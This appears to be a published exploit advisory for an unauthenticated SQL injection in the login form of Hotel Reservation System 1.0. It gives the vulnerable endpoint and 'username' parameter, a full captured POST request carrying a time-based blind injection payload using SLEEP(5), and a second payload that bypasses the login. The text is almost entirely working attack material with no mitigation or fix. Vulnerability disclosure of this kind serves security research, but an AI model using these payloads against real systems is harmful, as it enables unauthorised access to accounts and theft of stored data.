Hotel Reservation System 1.0 - SQLi (Unauthenticated)

# Exploit Title: Hotel Reservation System 1.0 - SQLi (Unauthenticated)
# Google Dork: None
# Date: 01/29/2022
# Exploit Author: Nefrit ID
# Author Website: https://manadocoder.com
# Vendor Homepage: https://github.com/dhruvmullick
# Software Link: https://github.com/dhruvmullick/hotel-reservation-system
# Tested on: Kali Linux & Windows 10

===Exploit Url===
http://localhost/hotel-reservation-system-master/login.php
Method: POST
Parameter: username
===Burpsuite Proxy Intercept===
POST /hotel-reservation-system-master/loginsession.php HTTP/1.1
Host: localhost
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/hotel-reservation-system-master/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: uid=1
Connection: close

username=u1337#' AND (SELECT 4775 FROM (SELECT(SLEEP(5)))BzJL)-- dvSZ&password=p1337&ok=Submit
I can also bypass login by using the following payload: ' or '1'='1'# on the parameter username